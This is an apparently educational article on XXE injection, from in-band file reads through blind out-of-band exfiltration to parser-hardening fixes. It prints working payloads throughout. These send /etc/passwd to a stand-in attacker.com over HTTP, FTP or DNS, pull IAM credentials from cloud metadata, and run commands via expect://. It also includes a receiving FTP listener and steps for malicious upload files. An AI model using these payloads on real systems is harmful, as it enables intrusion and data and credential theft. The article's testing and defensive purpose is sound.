TL;DR — XML External Entity (XXE) injection abuses an XML parser's willingness to resolve external entities. The easy case echoes a file back in the response; the hard — and far more common in modern apps — case is blind XXE, where the response reveals nothing. The answer is out-of-band (OOB) exfiltration: use the parser's network capability to send data to a server you control, driven by malicious DTDs and parameter entities. This article builds from classic XXE through OOB exfiltration, parameter-entity nesting, the FTP/error-based tricks for extracting whole files, SSRF-via-XXE against cloud metadata, and the parser-hardening that shuts it all down.
Executive Summary
XML is everywhere a developer might not expect: SOAP services, SAML assertions, SVG and DOCX/XLSX files, RSS feeds, config files, and countless REST endpoints that "also accept XML." The XML specification includes a powerful, dangerous feature: Document Type Definitions (DTDs) can declare entities — including external entities that the parser fetches from a URL or file path when it encounters them.
XXE is what happens when an attacker controls XML that a server parses with external-entity resolution enabled. The classic attack reads a local file by defining an entity pointing at file:///etc/passwd and referencing it in the document so its contents appear in the response. But modern APIs frequently don't reflect parsed content back, or strip it, leaving the attacker blind. This is where the technique gets interesting: even with no useful response, the parser itself can be turned into an exfiltration engine. By making the parser fetch attacker-hosted DTDs and issue outbound requests carrying file contents in the URL, data leaves the victim over a side channel the application never intended.
The reason OOB XXE matters so much is that it converts a "the parser threw an error and we saw nothing" non-event into full file disclosure and internal network access — and because XML parsing is buried in libraries (SAML stacks, document processors, SOAP frameworks), the vulnerable surface is often deep inside trusted infrastructure.
Refresher: Classic (In-Band) XXE
<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><order><item>&xxe;</item></order>If the parser resolves &xxe; and the application reflects the item value, /etc/passwd appears in the response. The SYSTEM keyword tells the parser to fetch an external resource — file or URL. This is the foundation; everything else extends it to cases where you can't see the result.
flowchart TD
A["Attacker-controlled XML"] --> B["Parser resolves external entity"]
B --> C{"Is parsed content<br/>reflected in response?"}
C -->|Yes| D["In-band XXE:<br/>read file directly"]
C -->|No / stripped| E["Blind XXE:<br/>need a side channel"]
E --> F["Out-of-band exfiltration<br/>via attacker-hosted DTD"]
style D fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style F fill:#2a0c14,stroke:#ef233c,color:#fee2e2Blind XXE: When the Response Tells You Nothing
Most real targets are blind: the endpoint returns 200 OK or a generic error, never echoing the entity. To confirm XXE exists at all, first prove the parser makes outbound requests — an OOB interaction:
<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR.oastify.com/ping">]><order><item>&xxe;</item></order>If your listener (Burp Collaborator, interactsh, a simple HTTP server, or a DNS canary) records a hit, the parser resolved the entity and reached out — XXE confirmed even though the HTTP response showed nothing. This DNS/HTTP detection step is essential against blind targets; it separates "no XXE" from "XXE I just can't see in-band."
OOB Exfiltration: Turning the Parser into a Courier
Confirming a callback is one thing; carrying file contents in that callback is the weaponisation. The obstacle is that XML forbids referencing a general entity inside the value of another entity in the internal subset. The workaround is parameter entities (%-prefixed, usable within the DTD) combined with an external DTD you host.
The malicious external DTD (evil.dtd on your server):
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%file;'>">%eval;%exfil;The injected XML that pulls it in:
<?xml version="1.0"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]><order><item>test</item></order>Walk-through of the exfiltration:
sequenceDiagram
participant V as Victim parser
participant A as attacker.com
V->>A: Fetch external DTD (%xxe;)
A-->>V: evil.dtd
Note over V: %file; reads /etc/passwd into a parameter entity
Note over V: %eval; builds %exfil; whose URL embeds %file;'s contents
V->>A: GET /?x=<contents of /etc/passwd>
Note over A: File contents arrive in the query string — exfiltrated%xxe;makes the victim fetch yourevil.dtd.%file;reads the target file into a parameter entity.%eval;dynamically defines%exfil;, an entity whoseSYSTEMURL embeds the file contents (%file;) in the query string. (%is an encoded%so the inner entity is defined at the right parse stage.)%exfil;triggers the outbound request — your server logs the file contents as a URL parameter.
This is the heart of OOB XXE: nested parameter entities let you smuggle file data into a URL the parser then fetches. No reflection needed; the parser delivers the loot to your doorstep.
Practical note: URL exfiltration breaks on newlines and special characters, so/etc/passwd(multi-line) often fails over plain HTTP. Two robustness tricks: use the PHP `php://filter` wrapper to base64-encode the file first (php://filter/convert.base64-encode/resource=/etc/passwd), turning it into a single safe token; or use the FTP exfiltration technique below for multi-line content.
Error-Based and FTP Exfiltration
When even outbound HTTP is restricted, two further channels recover data:
Error-based — force the file contents into a parse error message that the application does surface:
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % err SYSTEM 'file:///nonexistent/%file;'>">%eval;%err;The parser tries to open file:///nonexistent/<contents>, fails, and the error message — if returned — contains the file contents in the bogus path. This works when the app leaks verbose XML errors even though it doesn't reflect entities.
FTP-based — host a malicious FTP service; FTP's line-oriented protocol tolerates the newlines that break HTTP query exfiltration, so multi-line files come through intact. Point the exfil entity at ftp://attacker.com:2121/%file;.
EXFIL CHANNEL SELECTIONHTTP query string → single-line / base64'd data, simplestFTP → multi-line files, survives newlinesDNS → tiny data, works when only DNS egress allowedError message → no outbound network needed, but app must leak errorsXXE as SSRF: Reaching the Internal Network and Cloud Metadata
External entities take URLs, so XXE is also a potent SSRF primitive. The parser will fetch internal-only resources the attacker can't reach directly:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>Pointed at the cloud instance metadata service (169.254.169.254), a blind-XXE-driven OOB fetch can retrieve temporary IAM credentials and exfiltrate them via the same parameter-entity trick — chaining XXE → SSRF → cloud account compromise (see the companion SSRF-to-RCE article). XXE also enables internal port scanning (timing/error differences reveal open ports) and access to internal admin interfaces.
Other XXE Vectors Worth Knowing
- SVG / image uploads. SVGs are XML; an upload processor that parses them with a vulnerable library is XXE-able. Same for DOCX/XLSX/PPTX (ZIP archives of XML) processed server-side.
- SAML. SAML assertions are signed XML; historically a rich XXE and signature-wrapping target.
- SOAP and `Content-Type: application/xml` REST endpoints. Even JSON APIs sometimes accept XML if you change the
Content-Type— try it; the parser may be configured insecurely on the XML path. - `xinclude`. When you can't control the DOCTYPE (e.g. input is embedded in a server-built document),
XIncludecan still pull in files:<xi:include parse="text" href="file:///etc/passwd"/>. - Billion Laughs / entity expansion DoS. Recursive internal entities (
&lol9;) expand to gigabytes, a denial-of-service variant of the same entity machinery.
Defence: Disable External Entities, Everywhere
flowchart TD
A["XML must be parsed"] --> B["Disable DOCTYPE / DTDs entirely"]
B --> C["Disable external general & parameter entities"]
C --> D["Disable external DTD loading"]
D --> E["No XXE possible"]
A -.->|"prefer"| F["Use JSON / non-XML format if feasible"]
style E fill:#0c2a22,stroke:#21d48e,color:#d1fae5The fix is configuration, and it is the same idea in every language: tell the parser not to process DTDs/external entities. Examples:
// Java — the safest single switch is to forbid DOCTYPE entirelyDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);dbf.setXIncludeAware(false);dbf.setExpandEntityReferences(false);# Python — use defusedxml, which hardens the stdlib parsersfrom defusedxml.ElementTree import parse # blocks entities/DTDs by default// .NET — modern defaults are safe; for older, set:var settings = new XmlReaderSettings { DtdProcessing = DtdProcessing.Prohibit };Principles behind the switches:
- Disable DOCTYPE/DTD processing entirely if your application doesn't need it — this is the most complete fix and kills entity attacks, OOB exfiltration, SSRF-via-XXE, and entity-expansion DoS in one move.
- **If DTDs are required, disable external general and parameter entities and external DTD loading.** OOB XXE specifically relies on parameter entities and external DTD fetching — don't forget those, as the in-band-only fix leaves blind OOB open.
- Use hardened libraries / safe defaults (
defusedxml, up-to-date parsers). Many modern parsers ship secure-by-default; verify, don't assume. - Patch and inventory. XXE hides in dependencies (SAML, document, SOAP libraries). Know which components parse XML and confirm each is configured safely.
- Network egress filtering & metadata protections. Restrict outbound traffic from app servers and require IMDSv2/hop-limits so an XXE→SSRF can't silently exfiltrate to the internet or steal cloud credentials. Defence in depth for the parser bug you missed.
- Reject unexpected content types. If an endpoint should only receive JSON, don't let a swapped
Content-Type: application/xmlroute input into an XML parser at all.
XXE via File Upload
File upload endpoints are among the most overlooked XXE attack surfaces. Any server-side parser that processes uploaded documents containing XML is potentially vulnerable — the attacker never sends a raw HTTP request with XML; they embed the malicious entity declaration inside an office document or image.
SVG Upload
SVG is XML. An upload endpoint that serves or processes SVG server-side (thumbnail generation, format validation, content extraction) will often parse and resolve external entities from the SVG:
<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="20">&xxe;</text></svg>Save as exploit.svg and upload. If the image processing library parses the SVG with entity resolution enabled (ImageMagick, Batik, Inkscape server-side, PHP GD with libxml2), the entity resolves. If the rendered image includes the text, the file contents appear visually; if the server errors or makes an outbound request, use the OOB DTD chain described earlier.
DOCX / XLSX / PPTX Upload
Office Open XML formats are ZIP archives containing multiple XML files. The relationship and content XML files (word/document.xml, xl/workbook.xml, [Content_Types].xml) are parsed by the server when it does format validation, text extraction, preview generation, or antivirus scanning. To inject XXE, unzip the document, inject the entity into one of the XML files, and rezip:
# Step 1: unzip a legitimate .docxunzip template.docx -d docx_dir # Step 2: inject into word/document.xml — add DOCTYPE before <w:document># Insert at the top of the XML after the declaration:# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/oob"> ]># Then reference &xxe; somewhere in the document body # Step 3: repackcd docx_dir && zip -r ../exploit.docx . # Upload exploit.docx to the target's document processing endpointThe [Content_Types].xml file is another injection point; it is always parsed first and its DTD declarations will be processed before the main document XML.
XMP Metadata in JPEG
XMP (Extensible Metadata Platform) metadata embedded in JPEG, PNG, and TIFF files is an XML document. Libraries that extract XMP for thumbnail display, EXIF cataloguing, or document management often use a full XML parser with external entity support:
# Embed malicious XMP into a JPEG using exiftoolexiftool -XMP-dc:Description='<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description>&xxe;</rdf:Description></rdf:RDF></x:xmpmeta>' photo.jpgIf the server-side XMP parser (Apache Tika, Adobe XMP SDK, exiv2) resolves external entities, the file read occurs during metadata extraction — commonly triggered by media management platforms, digital asset management systems, and document conversion pipelines.
XXE-Based SSRF Chaining
XXE's external-fetch capability makes it a first-class SSRF primitive. The SYSTEM URL in an entity declaration is resolved by the parser on the server — which means it can reach any HTTP endpoint the server can, including private infrastructure that the attacker cannot access directly.
Cloud Instance Metadata Service
The most impactful SSRF target is the cloud IMDS, reachable at 169.254.169.254 from any EC2, GCE, or Azure instance:
<!-- AWS: retrieve IAM role name first --><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]><root>&xxe;</root> <!-- Then fetch the temporary credentials for that role --><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole">]><root>&xxe;</root>For blind XXE, chain with the OOB parameter-entity technique to exfiltrate the credentials JSON (AccessKeyId, SecretAccessKey, Token) to your listener. These temporary credentials grant direct AWS API access — S3 bucket enumeration, EC2 describe, and in over-permissioned setups, full account takeover.
Internal HTTP Services
Beyond cloud metadata, XXE-SSRF reaches internal services on non-routable addresses:
<!-- Admin panel on internal network only --><!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin"><!-- Kubernetes API server from within the cluster --><!ENTITY xxe SYSTEM "https://10.96.0.1:443/api/v1/namespaces/default/secrets"><!-- Redis or Memcached (response in error, timing, or OOB) --><!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">Port scanning is achievable through timing: services with open ports respond quickly (even if the content fails), closed ports time out or return ECONNREFUSED immediately. By measuring response time differences across multiple XXE requests targeting different ports, an attacker can map internal services.
PHP Protocol Wrappers in XXE
When the vulnerable application is PHP, the expect:// and php:// URI schemes extend XXE capabilities significantly beyond plain file reads.
<!-- php://filter: base64-encode a file to avoid newline issues --><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!-- expect://: direct command execution (requires expect extension) --><!ENTITY xxe SYSTEM "expect://id"> <!-- php://filter with read chain for encoding transformations --><!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php"> <!-- Combining OOB with php://filter for blind exfil of binary-safe base64 -->The php://filter/convert.base64-encode wrapper is especially valuable in XXE: it converts a multi-line file to a single base64 string, eliminating the newline issue that breaks plain HTTP query-string exfiltration. The resulting base64 blob passes cleanly in a URL parameter to your OOB listener, then decodes locally.
expect:// is the nuclear option — direct OS command execution from an XXE entity. The expect PHP extension is not installed by default, but when present it makes XXE equivalent to a command injection vulnerability with zero additional steps.
Advanced OOB Exfiltration Techniques
FTP Channel for Multi-Line Files
HTTP query-string exfiltration breaks on newlines in file contents. The FTP protocol is line-oriented but handles content differently — a purpose-built malicious FTP server can receive the full content of multi-line files:
# Minimal Python FTP server to receive XXE exfiltrationimport socket s = socket.socket()s.bind(('0.0.0.0', 2121))s.listen(1)conn, addr = s.accept()conn.send(b'220 FTP\r\n')data = b''while True: chunk = conn.recv(4096) if not chunk: break data += chunk conn.send(b'200 OK\r\n') # ACK every FTP commandprint("Received:", data.decode(errors='replace'))The XXE entity then points at ftp://attacker.com:2121/%file;, where %file; contains the file contents. The FTP handshake protocol means each line of the file content arrives as a separate FTP command — captured and reassembled server-side.
DNS-Based Character-by-Character Extraction
When only DNS egress is permitted (HTTP and FTP are blocked), DNS exfiltration achieves the same goal with higher latency. Each DNS lookup encodes a fragment of the target file as a subdomain:
<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY % dns SYSTEM 'http://%file;.attacker.com/'>">%eval;%dns;For multi-character extraction, tools like dnschef and interactsh log every DNS query with full subdomain capture. For large files, a scripted approach extracts character ranges by indexing into the file with language-specific substring functions, then assembles the full content from sequential DNS queries. Burp Collaborator's DNS polling endpoint is the most convenient out-of-the-box listener for this technique during engagements.
Using Burp Collaborator and interactsh
Both tools provide a single hostname that logs HTTP, DNS, SMTP, and FTP interactions with full payload capture:
<!-- Burp Collaborator OOB confirmation --><!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net"> <!-- interactsh (open-source alternative, self-hostable) --><!ENTITY xxe SYSTEM "http://YOUR-ID.oast.live">For data exfiltration with Collaborator, the full OOB DTD chain uses the Collaborator URL as the exfiltration endpoint. Collaborator's polling API (accessible through Burp Suite) retrieves the interaction logs including query parameters — the file contents arrive there, base64-encoded if the php://filter wrapper was used. interactsh provides a CLI client (interactsh-client) that streams incoming interactions in real time, making it the preferred open-source alternative for lab and field work.
MITRE ATT&CK Mapping
| ATT&CK ID | Technique | XXE Relevance |
|---|---|---|
| T1190 | Exploit Public-Facing Application | XXE exploits XML parsers in web-facing endpoints (SOAP, REST, file upload) |
| T1083 | File and Directory Discovery | file:///etc/passwd, file:///etc/ directory listing via XXE |
| T1005 | Data from Local System | Reading arbitrary local files via XXE external entity resolution |
| T1071.001 | Application Layer Protocol: Web Protocols | OOB exfiltration uses HTTP to send data to attacker-controlled server |
| T1557 | Adversary-in-the-Middle (SSRF pivot) | XXE-based SSRF accesses internal services not reachable from the internet |
| T1552.005 | Cloud Instance Metadata API | XXE SSRF targeting 169.254.169.254 to steal cloud IAM credentials |
| T1048 | Exfiltration Over Alternative Protocol | FTP-based and DNS-based OOB exfiltration use non-HTTP channels |
Conclusion and Takeaways
XXE is a textbook example of a "helpful" specification feature — external entities — becoming a critical vulnerability when an attacker controls the input and the parser is left in its dangerous default. The in-band case is easy to grasp: define an entity pointing at a file and read it back. The case that matters in modern applications is blind XXE, where nothing is reflected — and the elegant, dangerous reality is that a parser which says nothing in its response can still be turned into a courier. Using an attacker-hosted external DTD and nested parameter entities, file contents are smuggled into outbound URLs (HTTP, FTP, or even DNS), or forced into surfaced error messages, achieving full disclosure with zero in-band feedback. The same external-fetch capability makes XXE a first-class SSRF primitive against internal services and cloud metadata.
For testers, the workflow is: confirm an OOB interaction to detect blind XXE, then escalate with a parameter-entity DTD to exfiltrate (base64-wrapping or FTP for multi-line files), and consider the SSRF pivot to internal and metadata endpoints. For defenders, the remediation is refreshingly definitive and identical across every stack: disable DOCTYPE/DTD processing and external entity resolution at the parser level — remembering that parameter entities and external DTD loading are precisely what OOB exfiltration needs, so an in-band-only fix is not enough. Pair that with egress filtering and metadata hardening, audit every XML-parsing dependency, and the most powerful blind-exfiltration channel in web security simply ceases to resolve.